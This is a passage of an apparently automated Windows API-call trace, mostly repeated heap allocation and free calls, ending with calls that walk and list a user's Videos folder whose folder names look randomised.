hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.522] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.522] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.522] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0061.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.523] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.523] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.523] PathFindFileNameW (pszPath="") returned="" [0061.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7427b70, ftCreationTime.dwHighDateTime=0x1d4cbdd, ftLastAccessTime.dwLowDateTime=0xee2267f0, ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0xee2267f0, ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.523] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7427b70, ftCreationTime.dwHighDateTime=0x1d4cbdd, ftLastAccessTime.dwLowDateTime=0xee2267f0, 